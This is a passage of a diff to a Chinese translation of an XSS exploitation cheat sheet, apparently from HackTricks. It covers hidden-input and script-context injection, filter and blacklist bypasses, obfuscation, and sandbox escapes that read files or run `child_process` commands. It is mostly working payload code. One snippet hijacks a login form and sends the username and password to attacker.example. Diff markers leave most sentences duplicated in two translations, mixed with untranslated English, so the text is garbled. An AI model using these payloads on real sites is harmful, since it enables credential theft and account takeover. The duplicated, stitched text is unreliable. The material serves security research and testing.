来自 [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 你可以执行 **XSS payload inside a hidden attribute**,前提是你能**说服****受害者**按下**键组合**。在 Firefox Windows/Linux 上,键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。你可以通过在 access key attribute 中使用不同的键来指定不同的键组合。攻击向量如下:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS 载荷会像这样: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**XSS payload 将类似于: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
### 黑名单绕过
|
||||
|
||||
本节之前已经展示了使用不同编码的若干技巧。请**返回以了解可以在哪里使用:**
|
||||
本节已经展示了几种使用不同编码的技巧。请**返回学习你可以在哪里使用:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (可以是有效的 JS 代码):** `\u0061lert(1)`
|
||||
@ -446,21 +447,21 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**绕过 HTML tags 和 attributes**
|
||||
**针对 HTML tags 和 attributes 的绕过**
|
||||
|
||||
阅读 [Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
阅读[上一节的黑名单绕过](#blacklist-bypasses)。
|
||||
|
||||
**绕过 JavaScript 代码**
|
||||
**针对 JavaScript 代码 的绕过**
|
||||
|
||||
阅读 [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
阅读[下一节的 JavaScript 绕过黑名单](#javascript-bypass-blacklists-techniques)。
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
如果你在网站的一个非常小的部分发现了 **XSS**,并且它需要某种交互(例如页脚中的一个小链接带有 onmouseover 元素),你可以尝试**修改该元素所占的空间**,以最大化链接被触发的概率。
|
||||
如果你在网页的一个非常小的部分发现了 **XSS**,且它需要某种交互(比如页脚的一个带有 onmouseover 的小链接),你可以尝试**修改该元素占据的空间**,以最大化触发该链接的概率。
|
||||
|
||||
例如,你可以在元素中添加如下样式: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
例如,你可以在元素中添加一些样式,比如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
但是,如果 WAF 过滤 style 属性,你可以使用 CSS Styling Gadgets,例如如果你发现:
|
||||
但是,如果 WAF 在过滤 style 属性,你可以使用 CSS Styling Gadgets,例如,如果你发现
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -472,23 +473,23 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
这个技巧来自于 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
该技巧摘自 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## 在 JavaScript 代码中注入
|
||||
## 在 JavaScript 代码 中注入
|
||||
|
||||
在这些情况下,你的 **input** 将被**反射到 `.js` 文件 的 JS 代码**中,或插入在 `<script>...</script>` 标签之间,或位于可以执行 JS 的 HTML 事件之间,或位于接受 `javascript:` 协议的属性中。
|
||||
在这种情况下,你的 **输入** 会被反射到 `.js` 文件的 JS 代码 中,或在 `<script>...</script>` 标签之间,或在可以执行 JS 的 HTML 事件之间,或在接受 `javascript:` 协议的属性之间。
|
||||
|
||||
### 跳出 \<script> tag
|
||||
### 逃逸 \<script> 标签
|
||||
|
||||
如果你的代码被插入在 `<script> [...] var input = 'reflected data' [...] </script>` 之内,你可以很容易地**跳出并关闭 `<script>`** 标签:
|
||||
如果你的代码被插入到 `<script> [...] var input = 'reflected data' [...] </script>` 中,你可以很容易地**逃逸关闭 `<script>`** 标签:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
请注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**浏览器首先执行 HTML 解析**,这涉及识别页面元素,包括 script 块。用于理解并执行嵌入脚本的 JavaScript 解析只有在之后才进行。
|
||||
注意,在这个示例中我们**甚至都没有闭合单引号**。这是因为**HTML 解析首先由浏览器执行**,它会识别页面元素,包括脚本块。对 JavaScript 的解析以理解并执行嵌入的脚本只有在随后才会进行。
|
||||
|
||||
### 在 JS code 中
|
||||
### 在 JS 代码内
|
||||
|
||||
如果 `<>` 被过滤,你仍然可以**转义字符串**(在你的输入被**定位**的地方)并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS code 将不会被执行:
|
||||
如果 `<>` 被过滤,你仍然可以在你的输入被**放置**的字符串中**转义**并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS 代码将不会被执行:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -496,25 +497,25 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
当用户输入落入被引号包裹的 JavaScript 字符串中(例如,server-side echo 到 inline script 中)时,可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架:
|
||||
当用户输入落入被引号包裹的 JavaScript 字符串内(例如,server-side echo 到 inline script),你可以终止该字符串、注入代码,然后修复语法以保持解析有效。通用框架:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
当易受攻击的参数反射到 JS 字符串中时的示例 URL 模式:
|
||||
当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
这会在不接触 HTML 上下文的情况下执行攻击者 JS(纯 JS-in-JS)。当过滤器屏蔽关键字时,可与下面的 blacklist bypasses 结合使用。
|
||||
这会执行攻击者的 JS,而无需接触 HTML 上下文(纯 JS-in-JS)。当过滤器阻止关键字时,可与下面的 blacklist bypasses 结合使用。
|
||||
|
||||
### 模板字面量 \`\`
|
||||
### Template literals ``
|
||||
|
||||
为了构造 **字符串**,除了单引号和双引号外,JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法**嵌入 JS 表达式**。\
|
||||
因此,如果你发现你的输入被**反射**到使用反引号的 JS 字符串中,你可以滥用 `${ ... }` 语法来执行 **任意 JS 代码**:
|
||||
为了构造 **strings**,除了单引号和双引号外,JS 也接受 **backticks** **` `` `**。这被称为 template literals,因为它们允许使用 `${ ... }` 语法来 **embedded JS expressions**。\
|
||||
因此,如果你发现你的输入被 **reflected** 放在使用反引号的 JS 字符串内部,你可以滥用 `${ ... }` 语法来执行 **arbitrary JS code**:
|
||||
|
||||
这可以通过**滥用**以下方式实现:
|
||||
这可以**abused**使用:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -526,21 +527,21 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Encoded code execution
|
||||
### 编码后的代码执行
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### 可交付的 payloads,使用 eval(atob()) 和作用域细节
|
||||
#### 可交付的 payloads(使用 eval(atob()))与作用域细微差别
|
||||
|
||||
为了保持 URLs 更短并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码,并用 `eval(atob('...'))` 来执行。如果简单的关键字过滤会阻止像 `alert`、`eval` 或 `atob` 这样的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译后完全相同,但能逃避基于字符串匹配的过滤器:
|
||||
为了保持 URL 更短并绕过简单的关键字过滤器,你可以对真实逻辑进行 base64 编码并用 `eval(atob('...'))` 来执行。如果简单的关键字过滤阻止诸如 `alert`、`eval` 或 `atob` 之类的标识符,可以使用 Unicode 转义的标识符,它们在浏览器中编译后与原始标识符完全相同,但可以规避字符串匹配过滤:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
重要的作用域细微差别:`const`/`let` declared inside eval() 是块级作用域,不会创建全局变量;它们不会被后续脚本访问。需要时,使用动态注入的 `<script>` 元素来定义全局且不可重新绑定的 hooks(例如,用于 hijack a form handler):
|
||||
重要的作用域细节:`const`/`let` 在 `eval()` 内声明是块级作用域,并且不会创建 globals;它们不会被后续 scripts 访问。需要时使用动态注入的 `<script>` element 来定义全局、不可重新绑定的 hooks(例如,用于劫持 form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -548,13 +549,13 @@ document.head.appendChild(s);
|
||||
```
|
||||
参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Unicode Encode JS execution
|
||||
### Unicode 编码 JS 执行
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript 绕过黑名单的技术
|
||||
### JavaScript 绕过黑名单技术
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -587,7 +588,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**JS 代码内的空格替换**
|
||||
**JS 代码中的空格替换**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
@ -600,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (来自** [**JavaScript new line**](#javascript-new-lines) **技巧)**
|
||||
**JavaScript 换行 (来自** [**JavaScript new line**](#javascript-new-lines) **技巧)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -629,7 +630,7 @@ console.log(log)
|
||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
**注释内的 Javascript**
|
||||
**Javascript 在注释内**
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
@ -715,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**任意函数(alert)调用**
|
||||
**任意函数 (alert) 调用**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
@ -777,7 +778,7 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
存在 **JS code** 使用了攻击者可控制的不安全数据,例如 `location.href`。攻击者可能滥用此漏洞来执行任意 JS 代码。\
|
||||
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . 攻击者可以滥用此点执行任意 JS 代码。\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
@ -785,37 +786,48 @@ top[8680439..toString(30)](1)
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在那里你会找到关于 **what DOM vulnerabilities are、how are they provoked、and how to exploit them** 的详细说明。\
|
||||
另外,不要忘记在上述文章的末尾你可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的解释。
|
||||
在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用** 的详细解释。\
|
||||
另外,不要忘记在所述文章的末尾你可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### Upgrading Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
如果你能通过在 cookie 中发送 payload 来触发 XSS,这通常是 self-XSS。然而,如果你找到一个 **易受 XSS 影响的子域 (vulnerable subdomain to XSS)**,你可以滥用该 XSS 在整个域中注入 cookie,从而在主域或其他子域(那些易受 cookie XSS 影响的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack:
|
||||
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 找到对此技术的一个优秀滥用示例。
|
||||
|
||||
### Sending your session to the admin
|
||||
|
||||
可能用户会将他的 profile 与 admin 分享,如果 self XSS 存在于该用户的 profile 中,且 admin 访问它,admin 就会触发该漏洞。
|
||||
可能用户可以与 admin 分享他的 profile,如果 self XSS 存在于用户的 profile 中且 admin 访问它,就会触发该漏洞。
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
如果你发现某些 self XSS 并且网页对管理员存在 **session mirroring**,例如允许客户请求帮助,为了帮助你 admin 会以他的 session 看到你在自己 session 中所看到的内容。
|
||||
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
|
||||
|
||||
你可以让 **administrator 触发你的 self XSS** 并窃取他的 cookies/session。
|
||||
你可以让 **administrator trigger your self XSS** 并窃取他的 cookies/session。
|
||||
|
||||
## Other Bypasses
|
||||
|
||||
### Bypassing sanitization via WASM linear-memory template overwrite
|
||||
|
||||
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
|
||||
|
||||
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -823,8 +835,8 @@ You can find a great abuse of this technique in [**this blog post**](https://nok
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
由于 **RoR mass assignment**,引号会被插入到 HTML 中,从而绕过了引号限制,并且可以在标签内添加额外字段(onfocus)。\
|
||||
表单示例([from this report](https://hackerone.com/reports/709336)),如果你发送以下 payload:
|
||||
由于 **RoR mass assignment**,引号会被插入到 HTML 中,进而绕过引号限制,并且可以在标签内部添加额外字段(onfocus)。\
|
||||
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果你发送 payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -832,7 +844,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
然后,会插入 onfocus 属性,导致 XSS 发生。
|
||||
然后,onfocus 属性将被插入,XSS 就会发生。
|
||||
|
||||
### 特殊组合
|
||||
```html
|
||||
@ -864,24 +876,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 在 302 响应中通过 header injection 实现 XSS
|
||||
### 302 响应中通过 header 注入 的 XSS
|
||||
|
||||
如果你发现可以 **inject headers in a 302 Redirect response**,可以尝试 **让浏览器执行任意 JavaScript**。这并不简单,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。
|
||||
如果你发现可以 **inject headers in a 302 Redirect response**,你可以尝试 **make the browser execute arbitrary JavaScript**。这并非容易,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。
|
||||
|
||||
在 [**this report**](https://www.gremwell.com/firefox-xss-302) 和 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以了解到如何在 Location header 内测试多个协议,查看是否有某些协议允许浏览器检查并执行位于 body 内的 XSS payload。\
|
||||
已知的可用协议: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
在 [**this report**](https://www.gremwell.com/firefox-xss-302) 和 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何在 Location header 中测试多种协议,并查看是否有任一协议允许浏览器检查并执行 body 内的 XSS payload。
|
||||
已知的协议示例: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### 仅字母、数字和点
|
||||
|
||||
如果你能指定将被 javascript **execute** 的 **callback**,且该 callback 限制为上述字符集,[**Read this section of this post**](#javascript-function) 了解如何滥用此行为。
|
||||
如果你能指定将被 javascript 执行的 **callback**,且该 callback 仅限使用这些字符(字母、数字和点)。[**Read this section of this post**](#javascript-function) 以了解如何滥用此行为。
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
### 适用于 XSS 的有效 `<script>` Content-Types
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试以像 `application/octet-stream` 这样的 **content-type** 加载一个 script,Chrome 会抛出以下错误:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试以像 `application/octet-stream` 这样的 **content-type** 加载 script,Chrome 会抛出以下错误:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
唯一会让 Chrome 运行 **loaded script** 的 **Content-Type** 是位于 const **`kSupportedJavascriptTypes`** 中的那些,参见 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
唯一支持 Chrome 执行已加载脚本的 **Content-Type** 是位于 const **`kSupportedJavascriptTypes`** 中的那些,来自 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -903,16 +915,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### 可用于 XSS 的脚本类型
|
||||
### Script Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以被指定来加载脚本?
|
||||
(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以被指定来加载脚本?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
答案:
|
||||
答案是:
|
||||
|
||||
- **module** (默认,无需解释)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一项功能,可以将一堆数据 (HTML, CSS, JS…) 打包到 **`.wbn`** 文件中。
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,允许你将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -939,9 +951,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来将一个库重映射到 eval,滥用它可以触发 XSS。
|
||||
此行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被利用:通过将库重映射为 eval,滥用它可以触发 XSS。
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 该功能主要用于解决由预渲染引起的一些问题。其工作方式如下:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 此功能主要用于解决由预渲染引起的一些问题。它的工作方式如下:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -957,24 +969,24 @@ import { partition } from "lodash"
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web 内容类型导致 XSS
|
||||
### Web Content-Types 导致 XSS
|
||||
|
||||
(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS:
|
||||
(来自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可在所有浏览器中执行 XSS:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在该列表但我记得在一次 CTF 中看到过)
|
||||
- text/plain (?? 不在列表中,但我想我在一次 CTF 中见过这个)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS,详见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
在其他浏览器中,其他 **`Content-Types`** 也可以用来执行任意 JS,参见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml 内容类型
|
||||
|
||||
如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS:
|
||||
如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -984,11 +996,11 @@ import { partition } from "lodash"
|
||||
```
|
||||
### 特殊替换模式
|
||||
|
||||
当像 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的用法被使用时,攻击者可以使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) 来试图绕过某些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的写法时,攻击者可以使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来在脚本内部转义一个 JSON 字符串并执行任意代码。
|
||||
例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这被用来在脚本内转义一个 JSON 字符串并执行任意代码。
|
||||
|
||||
### Chrome Cache to XSS
|
||||
### Chrome 缓存导致 XSS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -997,7 +1009,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
如果你只能使用有限的字符,请查看这些针对 XSJail 问题的其他有效解决方案:
|
||||
如果你只能使用有限的一组字符,请查看这些针对 XSJail 问题的其他可行解决方案:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1028,7 +1040,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
如果在执行不受信任的代码之前 **everything is undefined**(像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) 中)就有可能“无中生有”地生成有用的对象来滥用任意不受信任代码的执行:
|
||||
如果 **所有东西在执行不受信任的代码之前都是 undefined**(例如在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves))就可以从“无中生有”生成有用的对象来滥用任意不受信任代码的执行:
|
||||
|
||||
- 使用 import()
|
||||
```javascript
|
||||
@ -1037,13 +1049,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 间接访问 `require`
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中,如下:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包装在一个函数中,如下:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
因此,如果从该模块我们可以 **call another function**,就可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**:
|
||||
因此,如果我们可以从该模块**调用另一个函数**,就可以在该函数中使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1052,7 +1064,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
与之前的示例类似,可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
|
||||
与前面的示例类似,可以通过 **use error handlers** 来访问模块的 **wrapper** 并获取 **`require`** 函数:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1090,9 +1102,9 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
### 混淆与高级绕过
|
||||
|
||||
- **不同的 obfuscations 在同一页面:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **同一页面的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1273,17 +1285,16 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```
|
||||
## XSS 常见 payloads
|
||||
|
||||
### 多个 payloads 合并为 1 个
|
||||
### 多个 payloads 合并为一个
|
||||
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
{{#endref}}
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
使用户在页面内导航而不离开 iframe,并窃取其行为(包括在表单中提交的信息):
|
||||
### Iframe 陷阱
|
||||
|
||||
使用户在页面内导航而不离开 iframe,并窃取其行为(包括通过表单发送的信息):
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
@ -1312,8 +1323,7 @@ steal-info-js.md
|
